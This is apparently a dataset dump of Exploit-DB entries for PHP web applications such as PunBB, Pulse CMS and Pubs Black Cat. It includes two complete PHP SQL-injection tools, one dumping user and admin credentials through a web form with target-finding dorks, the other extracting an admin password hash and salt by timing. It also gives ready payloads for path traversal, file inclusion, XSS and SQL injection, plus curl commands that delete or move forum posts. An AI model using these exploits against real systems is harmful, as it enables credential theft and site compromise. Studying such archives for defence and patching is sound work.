deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32051
Description: Pubs Black Cat [The Fun] - 'browse.groups.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-14
Author: RMx

Exploit:
source: https://www.securityfocus.com/bid/30221/info

Pubs Black Cat [The Fun] is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

<?php
/*
Coded By RMx
Yuhhu Pubs Black Cat Remote SQL Injection Exploit
Coderx.Org & Biyosecurity.com
Thanx : Liz0zim - Otistiq
Script Demo & Sales :
http://www.iamilkay.net/index.php/scriptler/arkadaslikscriptleri/yuhhuscript/6-yuhhuserisi/8-pubs
Dork --> inurl: browse.groups.php
Dork 2 --> inurl:browse.events.php
Dork 3 --> browse.music.php
Dork 4 --> browse.groups.php
*/
set_time_limit(0);
error_reporting(0);
echo "
<title>Yuhhu Pubs Exploit [ Coded By RMx ]</title>
<form action='' method=post>
USERS EXPLOIT :<br>
?rnek :http://www.example.com<br>
<input type=text name='site'>
<input type=submit value=RMx>
</form>";
if (isset($_POST['site']))
{
$site=$_POST['site'];
$hacker="browse.groups.php?category=-1+union+select+1,2,3,concat(0x656D61696C3A20,email,0x206B756C6C616E6963693A20,username,0x[PII_REDACTED]653A20,password),5,6,7,8,9+from+joovili_users";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site."/".$hacker);
curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1
(+http://www.google.com/bot.html)');
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
$html = curl_exec($curl);
curl_close($curl);
preg_match_all('#<td class=\"text_4_css_bold\">(.*)<\/td>#',$html,$huseyin);
foreach ($huseyin[1] as $biyosecurity)
{
echo $biyosecurity ."<br>";
}
}

echo "

<form action='' method=post>
ADMIN EXPLOIT :<br>
?rnek :http://www.example.com<br>
<input type=text name='admin'>
<input type=submit value=RMx>
</form>";
if (isset($_POST['admin']))
{
$site=$_POST['admin'];
$hacker="browse.groups.php?category=-1+union+select+1,2,3,concat(0x206B756C6C616E6963693A20,admin_username,0x[PII_REDACTED]653A20,admin_password),5,6,7,8,9+from+joovili_admins";
$curl = curl_init();
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $site."/".$hacker);
curl_setopt($curl, CURLOPT_USERAGENT, 'Googlebot/2.1
(+http://www.google.com/bot.html)');
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
$html = curl_exec($curl);
curl_close($curl);
preg_match_all('#<td class=\"text_4_css_bold\">(.*)<\/td>#',$html,$huseyin);
foreach ($huseyin[1] as $biyosecurity)
{
echo $biyosecurity ."<br>";
}
}
?>
Exploit-DB #15691
Description: Pulse CMS Basic - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-05
Author: Mark Stanislav

Exploit:
'Pulse CMS Basic' Local File Inclusion Vulnerability (CVE-2010-4330)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'includes/controller.php' script that allows for arbitrary local file inclusion due to a null-byte attack.

 
II. TESTED VERSION
---------------------------------------
Version 1.2.8


III. AFFECTED VERSIONS
---------------------------------------
< 1.2.9


IV. PoC EXPLOIT
---------------------------------------
http://www.example.com/index.php?p=/../../../../../../../../../../../../../../etc/passwd%00


V. NOTES 
---------------------------------------
* magic_quotes_gpc must be disabled for null-byte attacks to work
* This issue did not affect Pulse CMS Pro according to the vendor


VI. SOLUTION
---------------------------------------
Upgrade all previously installed versions to 1.2.9


VII. REFERENCES
---------------------------------------
http://pulsecms.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4330
http://www.uncompiled.com/2010/12/pulse-cms-basic-local-file-inclusion-vulnerability-cve-2010-4330/


VIII. TIMELINE
---------------------------------------
11/24/2010: Initial vendor disclosure
11/25/2010: Vendor response that they had fixed the issue & updated the existing version (1.2.8)
11/25/2010: Replied to vendor inquiring if a new point release would be made and affected versions
11/26/2010: Vendor response noting a version increment was coming & vulnerable versions confirmation
11/26/2010: Pulse CMS Basic 1.2.9 released
12/05/2010: Public disclosure
Exploit-DB #15308
Description: Pulse Pro 1.4.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-24
Author: Th3 RDX

Exploit:
# Exploit Title: Pulse Pro 1.4.3 Persistent XSS Vulnerability
# Date: 24-10-2010
# Author: Th3 RDX
# Software Link: http://pulsecms.com/
# Version:  1.4.3
# Tested on: Demo Site
# category: webapp
# Code : n/a
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Br0wn Sug4r,
Sid3^effects, L0rd CruSad3r,
         Sonic , r0073r(inj3ct0r.com)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<3 Love: -[SiLeNtp0is0n]-, stRaNgEr(lucky), inX_rOot, NEO H4cK3R,
DarkL00k, G00g!3 W@rr!0r,
                  str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                  INDIAN CYBER ARMY
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

        Th3 RDX

----- [ E - mail ] -----

    th3rdx@gmail.com


                                                        %\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Pulse Pro 1.4.3 Persistent xss Vulnerability

----- [ Vendor ] -----

http://pulsecms.com/
                                                        %\\
##############################################################################

##############################################################################
%//

----- [ Bug (s) ] -----

----- [ Persistent XSS ] -----

Proof of Concepts:
------------------

Step 1) Login into member or User Section

Link: http://pulsecms/demo/login.php

Step 2) Go to Blog [Manage Blog]

-[XSS Bug present in following]-

=> New Blog Post

-[XSS Code]-

=> '"--><script>alert(0x000872)</script>

Step 3) Enter your Attack Pattern to title of blog post or source

Step 4) Refresh and View your blog post on index page or post link.

Note:L The XSS Also remains in admin panel

                                                    %\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=> PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam

=> c0d3 for motherland, h4ck for motherland

==> i'm worst than a useless <==
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.

Bug discovered : 24 October 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#End 0Day#
Exploit-DB #36447
Description: Pulse Pro 1.7.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-12-14
Author: Avram Marius

Exploit:
source: https://www.securityfocus.com/bid/51056/info

Pulse Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pulse Pro 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?p=blocks&d="><script>alert(1)</script>
http://www.example.com/index.php?p=edit-post&post_id="><script>alert(1)</script>
Exploit-DB #30568
Description: Pulsewiki And Pawfaliki 0.5.1 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-09-06
Author: mafialbano

Exploit:
source: https://www.securityfocus.com/bid/25575/info

Pulsewiki and Pawfaliki are prone to a local file-include vulnerability because the software fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/index.php?page=../../../../../../../../../etc/passwd
Exploit-DB #2340
Description: PUMA 1.0 RC 2 - 'config.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-10
Author: Philipp Niedziela

Exploit:
+--------------------------------------------------------------------
+
+ PUMA 1.0 RC 2 (config.php) Remote File Inclusion
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/415/org/PUMA_1.0_RC_2_(config.php)_R FI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: PUMA 1.0 RC 2
+ Venedor ...........: http://php.psywerx.net/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected File:
+ /config.php
+
+ Code:
+ .....
+ // Select language
+ $lang = "lang_english.php";
+ include($fpath."./language/$lang");
+ .....
+
+--------------------------------------------------------------------
+
+ $fpath is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+  -> Declare $fpath!
+  -> Deny direct access to config.php
+  -> or modify code:
+
+ if(!isset($_REQUEST['fpath']) && !isset($_GET['fpath']) &&
!isset($_POST['fpath'])){
+ //code of org. config.php
+ }
+ else {
+ echo "You cannot access this file directly.";
+ die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/config.php?fpath=[script]
+
+--------------------------------------------------------------------
+
+ Greets and Thanks: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-09-10]
Exploit-DB #25230
Description: PunBB 1.2.3 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-03-16
Author: benji lemien

Exploit:
source: https://www.securityfocus.com/bid/12828/info

PunBB is reportedly affected by multiple HTML injection vulnerabilities.

An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible such as the theft of cookie-based authentication credentials.

PunBB 1.2.3 is reported vulnerable, however, other versions may be affected as well. 

example@"/><script>alert()</script>.com
Exploit-DB #26350
Description: PunBB 1.2.x - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-15
Author: Devil_box

Exploit:
source: https://www.securityfocus.com/bid/15114/info

PunBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/search.php?action=search&keywords=&author=d3vilbox&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=Submit&old_searches[]=[sql-injection]
Exploit-DB #15452
Description: Punbb 1.3.4 - Multiple Full Path Disclosures
Type: webapps
Platform: php
Date: 2010-11-07
Author: SYSTEM_OVERIDE

Exploit:
# Exploit Title: Punbb 1.3.4 Full Path Disclosure
# Date: 07/11/2010
# Author: SYSTEM_OVERIDE, OverSecurityCrew
# Software Link: http://punbb.informer.com/
# Vulnerability Type: Full Path Disclosure
# Version: 1.3.4


Vulnerability Details:

The
vulnerabilities are in the file and the file /search.php, /userlist.php
and moderate.php not properly control the content of variables 
keywords, author and get_host.
An attacker can exploit this to find out the rootpath a website.

Example:

http://www.site.com/[path]/search.php?action=search&keywords[]=&author[]=&search_in=all&sort_by=0&SORT_DAshow_as=DESC&topics=&search=Submit+search
http://www.site.com/[path]/userlist.php?username[]=&show_group=-1&sort_by=username&sort_dir=ASC&search=Avvia+ricerca
http://www.site.com/[path]/moderate.php?get_host[]=


#SYSTEM_OVERIDE [07-11-2010]
Exploit-DB #36137
Description: PunBB 1.3.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-16
Author: Piotr Duszynski

Exploit:
source: https://www.securityfocus.com/bid/49660/info

PunBB is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

GET
/login.php?action=out&id=3&csrf_token=4b072f27396cec5d79"/><script>alert(oink)</script>
GET
/misc.php?action=markforumread&fid=1&csrf_token=c173cabad786"/><script>alert(oink)</script>

POST /delete.php?id=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_confirm=>"&#039;><script>alert(oink)</script>&delete=>"&#039;><script>alert(oink)</
script>

POST /edit.php?id=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_message=>"&#039;><script>alert(oink)</script>&submit=>"&#039;><script>alert(oink)</
script>

POST /login.php?action=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_email=>"&#039;><script>alert(oink)</script>&request_pass=>"&#039;><script>alert(oin
k)</script>

POST /misc.php?email=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&redirect_url=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_subject=>"&#039;><script>alert(o
ink)</script>&req_message=>"&#039;><script>alert(oink)</script>&submit=>"&#039;><script>alert(oink)</script>

POST
/profile.php?action=>"&#039;><script>alert(oink)</script>&id=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_old_password=>"&#039;><script>alert(oink)</script>&req_new_password1=>"&#039;><scri
pt>alert(oink)</script>&req_new_password2=>"&#039;><script>alert(oink)</script>&update=>"&#039;><script>alert(oink)</script>

POST /register.php?action=>"&#039;><script>alert(oink)</script>
form_sent=>"&#039;><script>alert(oink)</script>&csrf_token=>"&#039;><script>alert(oink)</script>&req_username=>"&#039;><script>alert(oink)</script>&req_password1=>"&#039;><script>alert
(oink)</script>&req_password2=>"&#039;><script>alert(369448)</script>&req_email1=>"&#039;><script>alert(oink)</script>&timezone=>"&#039;><script>alert(oink)</script>&register=>"&#039;>
<script>alert(oink)</script>
Exploit-DB #25957
Description: PunBB 1.x - 'profile.php' User Profile Edit Module SQL Injection
Type: webapps
Platform: php
Date: 2005-07-08
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/14195/info

PunBB is affected by a SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input through the user profile edit module of the 'profile.php' script before using it in a SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue may be successfully exploited to gain administrative access to a vulnerable forum.

PunBB 1.2.5 and prior versions are vulnerable. 

Injecting the following can allow the attacker to gain administrative privileges:

temp[0]=group_id=1
Exploit-DB #28870
Description: PunBB 1.x - SQL Injection
Type: webapps
Platform: php
Date: 2006-10-30
Author: nmsh_sa

Exploit:
source: https://www.securityfocus.com/bid/20786/info

PunBB is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may exploit these issues to execute arbitrary script code in the context of the webserver process or to pass malicious input to database queries, resulting in the modification of query logic or other attacks. Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PunBB 1.2.13 and prior versions are vulnerable; other versions may also be affected.

http://www.example.com/search.php?action=search&keywords=hello&author=&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=1&result_list[< UNION SQL QUERY >/*]&[PII_REDACTED]=1&[PII_REDACTED]=1
Exploit-DB #25160
Description: PunBB 3.0/3.1 - Multiple Remote Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2005-02-24
Author: John Gumbel

Exploit:
source: https://www.securityfocus.com/bid/12652/info

Multiple remote input validation vulnerabilities affect PunBB. These issues are due to a failure of the application to sanitize user-supplied input prior to using it to carry out critical functions.

The first issue is an SQL injection issue in the 'register.php' script. The second issue is an SQL injection issue in the 'moderate.php' script. A third SQL injection issue exists in the 'profile.php' script. Finally an access validation issue affects the 'profile.php' script.

An attacker may leverage these issues to have arbitrary SQL queries executed against the database; this may facilitate data corruption or manipulation. Furthermore one of these issues may be leveraged to trigger a denial of service condition against current user by setting their passwords to a NULL value.

This example demonstrates the SQL injection vulnerability in the language parameter:

curl --form form_sent=1 --form req_username=sha --form req_password1=passwd --form req_paspasswd --form req_email1=sha@punbb.com --form
language="English', 'Oxygen', 0, '0.0.0.0', 0) -- " http://target/register.php?action=registerer

Attacks delete posts:
curl --referer http://www.example.com/moderate.php --form posts="0) -- this won't show" --form delete_posts_comply=1 --cookie punbb_cookie=<valid
cookie> target/moderate.php?fid=1\&tid=1

Attacks move topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form move_to_forum=2 --form move_topics=1 --form
move_topics_to=1 --cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1

Attacks delete topics:
curl --referer http://www.example.com/moderate.php --form topics="2) -- this won't show" --form delete_topics=1 --form delete_topics_comply=1
--cookie punbb_cookie=<valid cookie> target/moderate.php?fid=1

Attacks open/close:
curl --referer http://www.example.com/moderate.php --form "topics[0) -- this won't show]"= --form open=1 --cookie "punbb_cookie=<valid cookie>
target/moderate.php?fid=1
Exploit-DB #9849
Description: PunBB Extension Attachment 1.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2009-11-03
Author: puret_t

Exploit:
#!/usr/bin/php
<?php

print_r('
+--------------------------------------------------------------------------
-+
Punbb Extension Attachment <= v1.0.2 Bind SQL injection exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PunBB"
+--------------------------------------------------------------------------
-+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+--------------------------------------------------------------------------
-+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to punbb
Example:
php '.$argv[0].' localhost /punbb/
+--------------------------------------------------------------------------
-+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$pre = 'pun_';

$benchmark = 200000000;
$timeout = 10;

echo "Plz Waiting...\nPassword:\n";
/**
* get pass
*/
$j = 1;
$pass = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(48, 57)); //numbers
$hash = array_merge($hash, range(97, 122)); //a-z letters

while (strlen($pass) < 40) {
for ($i = 0; $i <= 255; $i ++) {
if (in_array($i, $hash)) {
$cmd =
'1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20password%20FROM%20'.$pre.'us
ers%20WHERE%20group_id=1%20LIMIT%201),'.$j.',1))='.$i.'),BENCHMARK('.$bench
mark.',CHAR(0)),1))%23';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$pass .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ++;
}

echo "\nSalt:\n";
/**
* get salt
*/
$j = 1;
$salt = '';

$hash[0] = 0; //null
$hash = array_merge($hash, range(33, 126));

while (strlen($salt) < 12) {
for ($i = 0; $i <= 255; $i ++) {
if (in_array($i, $hash)) {
$cmd =
'1f1%27%20AND%20(IF((ASCII(SUBSTRING((SELECT%20salt%20FROM%20'.$pre.'users%
20WHERE%20group_id=1%20LIMIT%201),'.$j.',1))='.$i.'),BENCHMARK('.$benchmark
.',CHAR(0)),1))%23';
send();
usleep(2000000);
$starttime = time();
send();
$endtime = time();
$difftime = $endtime - $starttime;
if ($difftime > $timeout) {
$salt .= chr($i);
echo chr($i);
break;
}
}
if ($i == 255)
exit("\nExploit Failed!\n");
}
$j ++;
}

exit("\nExpoilt Success!\nPassword Hash:\t$pass\nSalt:\t$salt\n");

function send()
{
global $host, $path, $cmd;

$data = "GET ".$path."misc.php?item=1&secure_str=".$cmd."
HTTP/1.1\r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";

$fp = fsockopen($host, 80);
fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>